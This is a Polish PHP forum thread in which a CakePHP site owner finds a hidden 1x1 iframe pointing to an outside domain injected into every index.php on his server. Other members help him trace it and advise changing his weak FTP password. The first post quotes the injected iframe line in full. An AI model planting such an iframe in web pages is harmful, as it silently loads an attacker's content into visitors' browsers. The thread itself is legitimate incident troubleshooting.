Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

 
Reply to this topicStart new topic
> [CakePHP] Wirus
Bajki
post
Post #1





Grupa: Zarejestrowani
Postów: 128
Pomógł: 1
Dołączył: 28.04.2005
Skąd: Kraków

Ostrzeżenie: (0%)
-----


Witam
Wczoraj w jakiś nieznany mi sposób w pliki CakePHP znajdujące się na serwerze (moim) wkradł się jakiś rodzaj wirusa (być może to zdanie jest niepoprawne logicznie ale nie to jest najważniejsze w tej sprawie (IMG:http://forum.php.pl/style_emoticons/default/tongue.gif) ), który dodaje zaraz po znaczniku </html> taką oto linijke :
  1. <iframe src="http://thedeadpit.com/?click=1336703" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>


Powoduje to blokowanie przez niektóre antywirusy(np. AVAST) mojej witryny. Jeśli to coś pomoże, oto adres serwisu : www.hcphotos.pl

Postanowiłem wgrać na serwer nie ruszany folder "cake" jednak problem nie zniknął. Czy ktoś może mi powiedzieć gdzie i czego mam szukać żeby się tego pozbyć? wg. avasta wirus nazywa się "HTML:Iframe-inf".

Pozdrawiam i liczę na pomoc (IMG:http://forum.php.pl/style_emoticons/default/smile.gif)

Ten post edytował Bajki 22.12.2008, 15:57:47
Go to the top of the page
+Quote Post
erix
post
Post #2





Grupa: Moderatorzy
Postów: 15 467
Pomógł: 1451
Dołączył: 25.04.2005
Skąd: Szczebrzeszyn/Rzeszów




Cytat
Czy ktoś może mi powiedzieć gdzie i czego mam szukać żeby się tego pozbyć? wg. avasta wirus nazywa się "HTML:Iframe-inf".

Albo HTML-Injection, albo ktoś dobrał się do Twojego hasła na FTP. Bardziej prawdopodobna jest pierwsza opcja.
Go to the top of the page
+Quote Post
Bajki
post
Post #3





Grupa: Zarejestrowani
Postów: 128
Pomógł: 1
Dołączył: 28.04.2005
Skąd: Kraków

Ostrzeżenie: (0%)
-----


kurcze ale niezabardzo gdzie było przeprowadzić html-injection ;/ tzn na stronie nie ma żadnych formularzy i tym podobnych rzeczy, które wypełniał by użytkownik. Jedyne co przychodzi mi do głowy to to, że przez chwilę panel administracyjny znajdujący się pod adresem /admin/ był niezabezpieczony i może wtedy jakiś bot coś narobił...

ale w takim razie co z tym teraz robić ?
Go to the top of the page
+Quote Post
pyro
post
Post #4





Grupa: Zarejestrowani
Postów: 2 148
Pomógł: 230
Dołączył: 26.03.2008

Ostrzeżenie: (0%)
-----


przejrzyj logi, zabezpieczcz pa o ktorym mowiles i usun kod frame'a...
Go to the top of the page
+Quote Post
Bajki
post
Post #5





Grupa: Zarejestrowani
Postów: 128
Pomógł: 1
Dołączył: 28.04.2005
Skąd: Kraków

Ostrzeżenie: (0%)
-----


heh no właśnie sęk w tym, że tego niema w plikach widoku (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg) to jest dodawane...w jakiś tajemniczy dla mnie sposób. Nie wiem czy przez jakiś plik php czy JS...
Go to the top of the page
+Quote Post
pyro
post
Post #6





Grupa: Zarejestrowani
Postów: 2 148
Pomógł: 230
Dołączył: 26.03.2008

Ostrzeżenie: (0%)
-----


może...

auto_prepend_file / auto_append_file?
Go to the top of the page
+Quote Post
erix
post
Post #7





Grupa: Moderatorzy
Postów: 15 467
Pomógł: 1451
Dołączył: 25.04.2005
Skąd: Szczebrzeszyn/Rzeszów




JS, to nie ta bajka, ~Bajki. (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg)

Sprawdź, czy weryfikujesz wszystkie dane pochodzące od usera.
Go to the top of the page
+Quote Post
Bajki
post
Post #8





Grupa: Zarejestrowani
Postów: 128
Pomógł: 1
Dołączył: 28.04.2005
Skąd: Kraków

Ostrzeżenie: (0%)
-----


Cytat
auto_prepend_file / auto_append_file?
Rozumiem, że takie zmienne(?) pojawiły by się w kontrolerze ?

Cytat
Sprawdź, czy weryfikujesz wszystkie dane pochodzące od usera.
Hmmm myślałem, że CakePHP robi to sam (IMG:http://forum.php.pl/style_emoticons/default/tongue.gif) ale skoro nie...to i tak tam niema czego weryfikować ;/ user poprostu ogląda strone główną, lub koncert, lub album z koncertu. Nigdzie niczego nie wpisuje (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg)

Ale zauważyłem, że ta linijka dodawana jest tylko w przypadku istniejących kontrolerów tzn kiedy poda się zły adres to wczytuje się domyślny layout, ale linijka nie jest dodawana. Być może to jest jakiś trop...
Go to the top of the page
+Quote Post
l0ud
post
Post #9





Grupa: Zarejestrowani
Postów: 1 387
Pomógł: 273
Dołączył: 18.02.2008

Ostrzeżenie: (0%)
-----


Takie boty w celu kompatybilności najczęściej dopisują się do głównego pliku, czyli index.php i to na jego końcu szukałbym tego kodu. Nie ma co kombinować (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg)
Go to the top of the page
+Quote Post
Bajki
post
Post #10





Grupa: Zarejestrowani
Postów: 128
Pomógł: 1
Dołączył: 28.04.2005
Skąd: Kraków

Ostrzeżenie: (0%)
-----


haha faktycznie (IMG:http://forum.php.pl/style_emoticons/default/exclamation.gif) bot dopisał do kazdego pliku index.php na serwerze linijke z tym kodem ! (IMG:http://forum.php.pl/style_emoticons/default/biggrin.gif) kurcze dzięki wielkie za pomoc wszystkim ! (IMG:http://forum.php.pl/style_emoticons/default/smile.gif)
Go to the top of the page
+Quote Post
l0ud
post
Post #11





Grupa: Zarejestrowani
Postów: 1 387
Pomógł: 273
Dołączył: 18.02.2008

Ostrzeżenie: (0%)
-----


Teraz pozostała Ci zmiana hasła do FTP oraz przeskanowanie programem antywirusowym wszystkich komputerów, na których logowałeś się na FTP. Bo skądś bot musiał mieć to hasło...
Go to the top of the page
+Quote Post
Bajki
post
Post #12





Grupa: Zarejestrowani
Postów: 128
Pomógł: 1
Dołączył: 28.04.2005
Skąd: Kraków

Ostrzeżenie: (0%)
-----


hmm zarówno login jak i hasło były bardzo łatwe do zgadnięcia (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg) więc może to kwestia tego. ale przeskanuje ;P a hasło i login zmienione ;P

dzieki jeszcze raz
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 23.08.2025 - 04:29